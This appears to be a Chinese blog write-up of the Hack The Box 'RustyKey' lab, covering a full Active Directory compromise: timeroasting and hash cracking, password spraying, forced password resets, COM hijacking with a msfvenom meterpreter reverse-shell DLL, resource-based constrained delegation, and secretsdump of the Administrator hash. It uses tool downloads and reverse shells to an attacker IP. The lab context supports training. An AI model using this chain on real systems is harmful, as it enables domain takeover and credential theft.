HTB赛季8靶场 -Rustykey

发布于:2025-07-20 ⋅ 阅读:(17) ⋅ 点赞:(0)

![[RustyKey.png]]

开局我们便拥有一个账号

rr.parker / 8#t5HE8L!W3A

Nmap扫描

那么首先我们先探测nmap了解主机的大概情况

nmap -p- --min-rate 1000 -T4 10.10.11.75 -oA nmapfullscan -sV -sC  

![[Pasted image 20250701085029.png]]

SMB服务访问受阻

让我们来仔细分析端口情况,这是一个域控主机,其中开启了47001端口的http服务,和一个5985远程端口,445文件共享服务,389的ldap服务,53端口的DNS服务。很好,如果在真实环境,我们很可能先从53获取一些host信息,但现在我们最好是从445、47001和389开始进入。我们首先看看http。再来看看445端口是否有什么shares,我们在这里遇到了一些问题。
![[Pasted image 20250701090152.png]]

我进一步探查原因,我们发现NTLM认证貌似不被支持,这可能意味着,我们必须使用ccache文件进入系统,或者必须确定好正确的hostname。
![[Pasted image 20250701090901.png]]

我们尝试尝试ccache文件是否可以正确认证。

impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.10.11.75

![[Pasted image 20250701091336.png]]

经过不断尝试我们发现是设置好hostname就会正常了
![[Pasted image 20250701093751.png]]

Bloodhound获取域地图

那我们先来来完成域地图构建的工作

bloodhound-python -d rustykey.htb -dc dc.rustykey.htb -c All -u rr.parker -p '8#t5HE8L!W3A' -k --dns-timeout 10 -v

我们查看了很多地方,发现这个用户非常有趣,是自定义的用户并且拥有通往域控的能力,我们可能可以控制他。
![[Pasted image 20250701101311.png]]

经过查看当前近期的文章,我们发现现在出现了一种叫做timerosting的攻击手法(https://github.com/SecuraBV/Timeroast),可以窃取计算机账户的hash摘要,如果我们可以控制用户的samAccount,也可以成功获取账户的hash摘要,相当好用了,但是这需要修改用户名,所以不用为好。

Timeroasting

python timeroast.py 10.10.11.75 

![[Pasted image 20250702100735.png]]

hashcat -a 0 -m 31300 hash/timeroasting /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt

![[Pasted image 20250702101432.png]]

我们获取了一个弱密码,那么开始喷洒这个弱密码

kerbrute passwordspray --dc dc.rustykey.htb -d rustykey.htb -v users.txt 'Rusty88!'
kerbrute passwordspray --dc dc.rustykey.htb -d rustykey.htb -v computer.txt 'Rusty88!'

域地图分析

很快我们发现这个密码是IT-COMPUTER3$的,我们在域地图开始查明这个用户能够做到什么。

./godap 10.10.11.75 -u IT-COMPUTER3$ -p 'Rusty88!' -d rustykey.htb

IT-Computer3$可以加入到helpdesk,所以我们可以拥有以下用户
![[Pasted image 20250702111537.png]]

这些用户我们分别查看一下,看看我们能否获得更高权限。bb.morgan、gg.anderson用户可为我们提供,IT组的权限,能够进行远程登录
![[Pasted image 20250702112156.png]]

ee.reed用户可以为我们提供远程和SUPPORT权限
![[Pasted image 20250702112320.png]]

其他用户的能力并不重要,故不展示,现在我们看看IT和Support组可以干什么,貌似并没有册数的权限。所以我们强制修改密码进入用户吧。

ForceChangePassword 强制修改用户密码 & 受阻碍的Winrm登录

impacket-getTGT rustykey.htb/IT-COMPUTER3$:'Rusty88!' -dc-ip 10.10.11.75

#加入IT-COMPUTER3$到helpdesk
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/IT-COMPUTER3$.ccache
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$

#将bb.morgan移出受保护对象组,将IT移出受保护对象
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' IT

#修改用户密码
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb -f default set password bb.morgan 'ydx@ComeHere#88!'

#获取TGT
impacket-getTGT rustykey.htb/bb.morgan:'ydx@ComeHere#88!' -dc-ip 10.10.11.75

#切换到bb.morgan登录主机
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/bb.morgan.ccache
evil-winrm -i dc.rustykey.htb -u bb.morgan -p 'ydx@ComeHere#88!' -r rustykey.htb 

![[Pasted image 20250702134749.png]]

很好经过不懈努力,我们终于进入winrm,我希望首先快速使用winpeas扫描主机信息

(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.7/winPEASx64.exe', 'C:\Users\bb.morgan\Documents\winPEASx64.exe')

(New-Object Net.WebClient).UploadFile('ftp://10.10.16.7/ftp/internal.pdf', 'C:\Users\bb.morgan\Desktop\internal.pdf')

我们发现了一个文件internal.pdf,他告诉我们这个内网当中在执行某种测试

嘿,团队:

作为新的支持工具部署的一部分,已临时授予扩展访问权限,以便测试和排查共享工作站上的文件归档功能。

此举主要是为了加快解决财务部和 IT 部门报告的与压缩/解压相关的问题。由于一些新系统对右键菜单操作的处理方式不同,在此阶段可能需要进行注册表级别的调整。

几点说明:

- 在该访问权限启用期间,请避免对系统组件进行无关的更改;
    
- 此权限变更已记录,并将在归档工具在所有环境中确认稳定后撤回;
    
- 如果遇到访问错误或右键菜单缺少相关操作,请告知 DevOps。
    

谢谢!  
**BB Morgan**  
IT 部门

我们看到文件基本上说明,我们很可能拥有修改注册表的能力,那么我们就很有可能能够劫持注册表。我们登录ee.reed用户并使用

################################################################
#shell kali 加入IT-COMPUTER3$到helpdesk
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/IT-COMPUTER3$.ccache
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$

#将ee.reed移出受保护对象组,将IT移出受保护对象
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' SUPPORT

#修改用户密码
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb -f default set password ee.reed 'ydx@ComeHere#88!'
################################################################

################################################################
#shell bb.morgan 传输runascs
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.6/RunasCs.exe', 'C:\Users\bb.morgan\Documents\RunasCs.exe')

#变换为ee.reed用户
.\RunasCs.exe "ee.reed" 'ydx@ComeHere#88!' powershell.exe -r 10.10.16.6:9001
################################################################

################################################################
#shell ee.reed用户下,下载winpease查询
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.7/winPEASx64.exe', 'C:\tool\winPEASx64.exe')
################################################################

COM劫持

发现可劫持COM,因为HKLM\software\classes里面都是COM
![[Pasted image 20250711140345.png]]

我们开始使用脚本爬取当前用户可控的COM

function Test-WritePermission {
    param($Path)
    try {
        $acl = Get-Acl -Path $Path -ErrorAction Stop
        $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
        foreach ($rule in $acl.Access) {
            if ($rule.IdentityReference -eq $user -and $rule.FileSystemRights -match "Write" -and $rule.AccessControlType -eq "Allow") {
                return $true
            }
        }
        return $false
    } catch {
        return $false
    }
}
$locations = @("HKLM:\Software\Classes\CLSID", "HKCU:\Software\Classes\CLSID")
foreach ($base in $locations) {
    Get-ChildItem -Path $base | ForEach-Object {
        $clsidPath = $_.PsPath
        $inproc = Join-Path $clsidPath "InprocServer32"
        if (Test-Path $inproc) {
            $dllPath = (Get-ItemProperty -Path $inproc -Name "(default)" -ErrorAction SilentlyContinue)."(default)"
            if ($dllPath -and $dllPath -like "?:\*") {
                $canWriteDll = Test-WritePermission $dllPath
                $canWriteReg = $false
                try {
                    New-ItemProperty -Path $inproc -Name "Test" -Value "Test" -Force -ErrorAction Stop | Out-Null
                    Remove-ItemProperty -Path $inproc -Name "Test" -Force -ErrorAction SilentlyContinue
                    $canWriteReg = $true
                } catch {}

                if ($canWriteDll -or $canWriteReg) {
                    Write-Host "⚠ 可控 COM:" -ForegroundColor Yellow
                    Write-Host "  CLSID: $($_.PSChildName)"
                    Write-Host "  InprocServer32: $dllPath"
                    Write-Host "  可写 DLL: $canWriteDll, 可写注册表: $canWriteReg"
                    Write-Host ""
                }
            }
        }
    }
}

![[Pasted image 20250711140618.png]]

⚠ 可控 COM:
  CLSID: {23170F69-40C1-278A-1000-000100020000}
  InprocServer32: C:\Program Files\7-Zip\7-zip.dll
  可写 DLL: False, 可写注册表: True

确定攻击CLSID我们开始构造payload

################################################################
#shell kali msf构造dll payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=5003 -f dll -o rev.dll
################################################################

################################################################
#shell ee.reed 传输dll
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.6/rev.dll', 'C:\tool\rev.dll')

#强制修改注册表(有风险请注意)
New-Item -Path "HKLM:Software\Classes\CLSID" -Name "{23170F69-40C1-278A-1000-000100020000}" -Force

New-Item -Path "HKLM:Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}" -Name "InprocServer32" -Value "C:\tool\rev.dll" -Force

reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\tool\rev.dll" /f

#查看注册表情况
Get-ChildItem -Path "Registry::HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}"
################################################################

AddAllowedToAct - RBCD 资源约束委派 有SPN版

我们成功获取了mm.turner用户的shell,这个用户是DelegationManagement,可以委派DC给其他用户。

################################################################
#shell kali 创建新的电脑账户(如果有权限)
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/bb.morgan.ccache
bloodyAD -d rustykey.htb -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add computer YDX123$ 'Rusty88!'
################################################################

################################################################
#shell ee.reed传输ActiveDirectory
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.6/ActiveDirectory.ps1', 'C:\tool\ActiveDirectory.ps1')
################################################################

################################################################
#shell mm.tuner 导入ActiveDirectory.ps1
cd c:\tool
powershell
Import-Module .\ActiveDirectory.ps1

#Assing delegation privileges 
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount dd.ali

#Check that it worked
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount 

#设置虚假SPN用户
bloodyAD --host dc.rustykey.htb -d "rustykey.htb" --dc-ip 10.10.11.75 -k set object "dd.ali" servicePrincipalName -v "cifs/evil"

#伪装用户
impacket-getST -spn 'cifs/evil' -impersonate 'DC' -dc-ip 10.10.11.75 -k 'rustykey.htb/rr.parker:8#t5HE8L!W3A'    
################################################################

AddAllowedToAct - RBCD 资源约束委派 无SPN版

但我们在设置SPN用户的地方死掉了,所以我们尝试不需要SPN的RBCD

################################################################
# shell kali 加入IT-COMPUTER3$到helpdesk
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/IT-COMPUTER3$.ccache
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$

#修改用户密码
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb -f default set password dd.ali 'ydx@ComeHere#88!'

# Obtain a TGT through overpass-the-hash to use RC4
impacket-getTGT -hashes :$(pypykatz crypto nt 'ydx@ComeHere#88!') 'rustykey.htb'/'dd.ali' -dc-ip 10.10.11.75

# Obtain the TGT session key
impacket-describeTicket 'dd.ali.ccache' | grep 'Ticket Session Key'

# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
export KRB5CCNAME=/home/kali/Desktop/HTB/rustykey/dd.ali.ccache
impacket-changepasswd -newhashes :911b4c1730230e064e642b140fa48035 'rustykey.htb'/'dd.ali':'ydx@ComeHere#88!'@'dc' -debug -k

# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy 
KRB5CCNAME='dd.ali.ccache' impacket-getST -u2u -impersonate "backupadmin" -spn "host/dc.rustykey.htb" -k -no-pass 'rustykey.htb'/'dd.ali'

#提取密码
impacket-secretsdump -just-dc-user Administrator -k -no-pass dc.rustykey.htb

# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
################################################################

![[Pasted image 20250715115743.png]]

我们进一步推进

impacket-getTGT rustykey.htb/administrator -dc-ip 10.10.11.75 -hashes aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26

evil-winrm -i dc.rustykey.htb  -r rustykey.htb 

![[Pasted image 20250715115946.png]]


网站公告

今日签到

点亮在社区的每一天
去签到